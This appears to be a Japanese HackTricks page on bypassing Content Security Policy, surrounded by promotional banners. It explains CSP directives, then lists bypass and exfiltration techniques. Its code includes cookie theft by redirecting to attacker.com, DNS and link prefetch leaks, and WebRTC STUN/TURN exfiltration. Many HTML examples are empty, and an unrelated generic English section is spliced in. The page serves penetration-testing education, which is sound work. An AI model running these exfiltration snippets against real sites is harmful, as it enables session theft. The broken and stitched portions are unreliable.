# Content Security Policy (CSP) バイパス
htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ HackTricks をサポートする他の方法: * **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加しましょう! **ハッキングの洞察**\ ハッキングのスリルと挑戦に深く入り込むコンテンツに参加する **リアルタイムハックニュース**\ リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく **最新の発表**\ 最新のバグバウンティの開始や重要なプラットフォームの更新について知らされる **[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーと協力を始めましょう! ## CSPとは Content Security Policy(CSP)は、主に **クロスサイトスクリプティング(XSS)などの攻撃から保護する**ことを目的としたブラウザ技術として認識されています。これは、ブラウザが安全に読み込むリソースのパスとソースを定義して詳細に説明することによって機能します。これらのリソースには、画像、フレーム、JavaScriptなどの要素が含まれます。たとえば、ポリシーは、同じドメイン(self)からのリソースの読み込みと実行、インラインリソースの実行、および `eval`、`setTimeout`、または `setInterval` などの関数を介した文字列コードの実行を許可する可能性があります。 CSPの実装は、**レスポンスヘッダ**を介して行われるか、**HTMLページにメタ要素を組み込む**ことによって行われます。このポリシーに従うと、ブラウザはこれらの規定を積極的に強制し、検出された違反を即座にブロックします。 - レスポンスヘッダを介して実装されます: ``` Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self'; ``` - メタタグを使用して実装されます: ```xml ``` ### ヘッダー CSPはこれらのヘッダーを使用して強制または監視できます: - `Content-Security-Policy`:CSPを強制します。ブラウザは違反をブロックします。 - `Content-Security-Policy-Report-Only`:監視に使用され、違反をブロックせずに報告します。本番環境でのテストに最適です。 ### リソースの定義 CSPはアクティブおよびパッシブコンテンツの読み込み元を制限し、インラインJavaScriptの実行や`eval()`の使用などの側面を制御します。例として次のポリシーがあります: ```bash default-src 'none'; img-src 'self'; script-src 'self' https://code.jquery.com; style-src 'self'; report-uri /cspreport font-src 'self' https://addons.cdn.mozilla.net; frame-src 'self' https://ic.paypal.com https://paypal.com; media-src https://videos.cdn.mozilla.net; object-src 'none'; ``` ### ディレクティブ - **script-src**: JavaScriptの特定ソース(URL、インラインスクリプト、イベントハンドラやXSLTスタイルシートによってトリガーされるスクリプト)を許可します。 - **default-src**: 特定のフェッチディレクティブが欠落している場合にリソースの取得のデフォルトポリシーを設定します。 - **child-src**: Webワーカーや埋め込みフレームコンテンツに許可されたリソースを指定します。 - **connect-src**: fetch、WebSocket、XMLHttpRequestなどのインターフェースを使用してロードできるURLを制限します。 - **frame-src**: フレームのURLを制限します。 - **frame-ancestors**: 現在のページを埋め込むことができるソースを指定し、``、` // The bot will load an URL with the payload ``` ### ブックマークレットを介した攻撃 この攻撃は、攻撃者がユーザーを説得して、ブラウザのブックマークレット上にリンクをドラッグアンドドロップさせることを含みます。このブックマークレットには、**悪意のあるJavaScript**コードが含まれており、ドラッグ&ドロップまたはクリックされると、現在のWebウィンドウのコンテキストで実行され、CSPをバイパスしてクッキーやトークンなどの機密情報を盗むことができます。 詳細については、[**こちらの元のレポートをご覧ください**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/)。 ### CSPの制限によるCSPバイパス [**このCTF解説**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution)では、許可されたiframe内により制限の厳しいCSPを注入することでCSPがバイパスされ、特定のJSファイルの読み込みを禁止するCSPが設定され、その後、**プロトタイプ汚染**または**DOMクロブリング**を介して、異なるスクリプトを悪用して任意のスクリプトを読み込むことが可能になりました。 IframeのCSPを**`csp`**属性で**制限**することができます: {% code overflow="wrap" %} ```html ``` {% endcode %} [**このCTFの解説**](https://github.com/aszx87410/ctf-writeups/issues/48) では、**HTMLインジェクション**を通じて、**CSP**をより**制限**することが可能であり、CSTIを防ぐスクリプトが無効化され、その結果、**脆弱性が悪用可能になりました。**\ CSPは**HTMLメタタグ**を使用してより制限的に設定でき、インラインスクリプトは**削除**され、**nonce**を許可する**エントリ**が削除され、**特定のインラインスクリプトをsha経由で有効にできます**: ```html ``` ### Content-Security-Policy-Report-Onlyを使用したJSデータの外部流出 サーバーがヘッダー**`Content-Security-Policy-Report-Only`**を**あなたが制御する値**で応答するようにできれば(CRLFのためかもしれません)、それをあなたのサーバーを指すようにさせることができます。そして、外部流出したい**JSコンテンツ**を**``内に埋め込むことができます。この**スクリプト**は**'self'**によって**許可されている**ため、**ロード**されます。さらに、WordPressがインストールされているため、攻撃者は**脆弱な** **コールバック**エンドポイントを通じて**CSPをバイパス**してユーザーにより多くの特権を与えたり、新しいプラグインをインストールしたりする可能性があります。\ この攻撃を実行する方法の詳細については、[https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)を確認してください。 ## CSP Exfiltration Bypasses 外部サーバーとの**やり取りを許可しない厳格なCSP**がある場合、情報を外部に漏洩させるために常にできることがいくつかあります。 ### Location 単に場所を更新して、秘密情報を攻撃者のサーバーに送信することができます: ```javascript var sessionid = document.cookie.split('=')[1]+"."; document.location = "https://attacker.com/?" + sessionid; ``` ### メタタグ メタタグを注入することでリダイレクトすることができます(これは単なるリダイレクトであり、コンテンツは漏洩しません)。 ```html ``` ### DNS Prefetch ページを高速に読み込むために、ブラウザはホスト名をIPアドレスに事前解決し、後で使用するためにキャッシュします。\ ブラウザにホスト名を事前解決するよう指示することができます: `` これを悪用して、DNSリクエストを介して機密情報を**外部流出**することができます。 ```javascript var sessionid = document.cookie.split('=')[1]+"."; var body = document.getElementsByTagName('body')[0]; body.innerHTML = body.innerHTML + ""; ``` ## Content Security Policy (CSP) Bypass ### Bypassing CSP using `script-src` One way to bypass CSP is by exploiting the `script-src` directive. If the CSP policy allows scripts from a specific domain, an attacker can host a malicious script on that domain and execute it on the target website. To bypass this protection, an attacker can host a malicious script on a whitelisted domain and then execute it on the target website. ### Bypassing CSP using Data URI Another way to bypass CSP is by using Data URI. By encoding the malicious script into a Data URI format, the attacker can embed the script directly into the HTML code of the target website, bypassing the CSP restrictions. To bypass CSP using Data URI, the attacker can craft a Data URI payload containing the malicious script and inject it into the target website's HTML code. ### Bypassing CSP using Trusted Types If the target website implements Trusted Types as an additional security measure, an attacker can bypass CSP by exploiting vulnerabilities in the Trusted Types policy. By finding a way to bypass or disable Trusted Types, the attacker can execute malicious scripts on the target website, even if CSP is in place. To bypass CSP using Trusted Types, the attacker needs to identify and exploit vulnerabilities in the Trusted Types implementation to execute arbitrary scripts on the target website. ```javascript const linkEl = document.createElement('link'); linkEl.rel = 'prefetch'; linkEl.href = urlWithYourPreciousData; document.head.appendChild(linkEl); ``` サーバーがこれを回避するために、HTTPヘッダーを送信できます: ``` X-DNS-Prefetch-Control: off ``` {% hint style="info" %} ヘッドレスブラウザ(ボット)では、このテクニックは機能しないようです。 {% endhint %} ### WebRTC いくつかのページで、**WebRTCはCSPの`connect-src`ポリシーをチェックしない**と読むことができます。 実際に、_DNSリクエスト_を使用して情報を_漏洩_させることができます。このコードをチェックしてください: ```javascript (async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})() ``` もう1つのオプション: ```javascript var pc = new RTCPeerConnection({ "iceServers":[ {"urls":[ "turn:74.125.140.127:19305?transport=udp" ],"username":"_all_your_data_belongs_to_us", "credential":"." }] }); pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp); ``` ## CSPポリシーのオンラインチェック * [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com) * [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/) ## CSPを自動的に作成する [https://csper.io/docs/generating-content-security-policy](https://csper.io/docs/generating-content-security-policy) ## 参考文献 * [https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/](https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/) * [https://lcamtuf.coredump.cx/postxss/](https://lcamtuf.coredump.cx/postxss/) * [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d) * [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme) * [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg) * [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) * [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) ​
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! **ハッキングの洞察**\ ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう **リアルタイムのハックニュース**\ リアルタイムのニュースと情報を通じて、ハッキングの世界を最新の状態で把握しましょう **最新の発表**\ 最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう **[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力を始めましょう!
**htARTE (HackTricks AWS Red Team Expert)** でAWSハッキングをゼロからヒーローまで学びましょう! HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝したい**、または **HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! * [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける * 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) をフォローする * **HackTricks** と **HackTricks Cloud** のgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有する